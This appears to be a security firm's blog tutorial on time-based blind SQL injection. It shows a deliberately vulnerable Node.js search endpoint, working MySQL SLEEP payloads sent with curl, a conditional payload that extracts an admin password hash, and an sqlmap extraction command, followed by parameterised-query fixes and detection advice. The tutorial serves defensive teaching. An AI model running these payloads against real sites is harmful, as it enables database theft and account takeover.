Many developers believe SQL injection is only dangerous when the page prints database errors. It is not. When an application hides every error and shows identical pages whatever you send, an attacker can still read the database one bit at a time by asking questions and watching how long the server takes to answer. That technique is time-based blind SQL injection.
Key takeaways
- Hiding error messages does not stop SQL injection; timing can leak data one bit at a time.
- A response time that follows an injected SLEEP value is strong evidence of the flaw.
- Parameterised queries are the primary fix, plus least-privilege database accounts and slow query alerts.
- Test every input, including headers and cookies, not only form fields.
The vulnerable code
A product search endpoint builds its query by string concatenation:
app.get('/search', async (req, res) => {
const q = req.query.q;
const rows = await db.query(
"SELECT id, title FROM products WHERE title LIKE '%" + q + "%'"
);
res.json(rows); // errors are swallowed, output looks normal
});The response never shows an SQL error and the result list looks the same for most inputs. A scanner that only looks for error strings reports nothing.
Step 1: Prove the injection with a delay
The tester sends a payload that makes the database sleep when the injected condition is true. Against MySQL:
curl -s -o /dev/null -w "%{time_total}\n" \
"https://lab.example.test/search?q=x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20-"Decoded, the payload is x' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -. Illustrative timings:
| Request | Response time |
|---|---|
q=shoes (normal) | 0.21 s |
q=x' AND SLEEP(0)... | 0.22 s |
q=x' AND SLEEP(5)... | 5.23 s |
q=x' AND SLEEP(10)... | 10.21 s |
A response time that tracks the requested delay is strong evidence. It is not coincidence. PostgreSQL uses pg_sleep(5), and Microsoft SQL Server uses WAITFOR DELAY '0:0:5'.
Step 2: Ask yes or no questions
Now the delay becomes a one-bit channel. We ask whether the first character of the admin password hash is the letter "a":
q=x' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)-- -Slow response: yes. Fast response: no. Repeating this for each position and each candidate character recovers the value. The lab hash has 60 characters. With a binary search over the character range a human-tuned script needs about 7 requests per character, around 420 requests in total.
| Method | Requests | Approx. time at 0.2 s base plus delays |
|---|---|---|
| Linear guess per character (95 options) | up to 5,700 | roughly 45 minutes |
| Binary search per character (7 steps) | about 420 | under 4 minutes |
The lesson is that "no visible output" does not mean "no data exposure".
Step 3: Automate it, responsibly
Testers rarely write this by hand. sqlmap automates detection and extraction:
sqlmap -u "https://lab.example.test/search?q=x" \
--technique=T --time-sec=5 --level=3 --risk=1 --batch --dbsLimit the scope in real engagements: confirm the vulnerability, extract only what is needed as proof, such as the database version or a table name, and avoid dumping personal data. Our reports document the minimum evidence that proves impact.
Why this matters in practice
- It bypasses weak web application firewall rules that only look for error-based strings.
- It works through stored data, headers and cookies, not just query parameters.
- It can chain into account takeover when password hashes or reset tokens are readable.
The fix
Use parameterised queries so user input can never change the structure of the statement:
const rows = await db.query(
'SELECT id, title FROM products WHERE title ILIKE $1',
['%' + q + '%']
);Additional layers, in order of value:
- Parameterised queries or a query builder everywhere, with no exceptions for "internal" queries.
- A database account with the minimum rights: read-only for the search service, no access to the users table.
- Input validation for type and length (an ID must be a number).
- Query timeouts and slow query alerts, which also reveal this attack in logs.
- A tested web application firewall as a safety net, not a substitute.
Developers using an ORM should still check raw query helpers, because the unsafe string concatenation tends to hide there.
Frequently asked questions
Is a parameterised query enough?
It protects values. Identifiers such as table names, column names and ORDER BY fields cannot be parameterised, so allow-list them. Also run the database account with minimum privileges.
How can I spot this attack in logs?
Look for repeated requests containing SLEEP, pg_sleep or WAITFOR, spikes in slow queries, and the sqlmap user agent. Query timeouts and slow query alerts make the pattern visible.
What is the difference between boolean-based and time-based blind SQL injection?
Boolean-based relies on a visible difference in the page between true and false conditions. Time-based is used when the page looks identical either way, so the attacker infers answers from response delays.
Related reading
- Broken Access Control in a CRM: Role Tampering and Deleting the Owner
- Stored XSS to Account Takeover: Why HttpOnly Cookies Alone Do Not Save You
- Our penetration testing and secure web development services
Further reading
Have our senior analysts test your application
Excelon Cyber Solutions runs web application, API and network penetration tests across India, with every finding reproduced and documented before it reaches your report.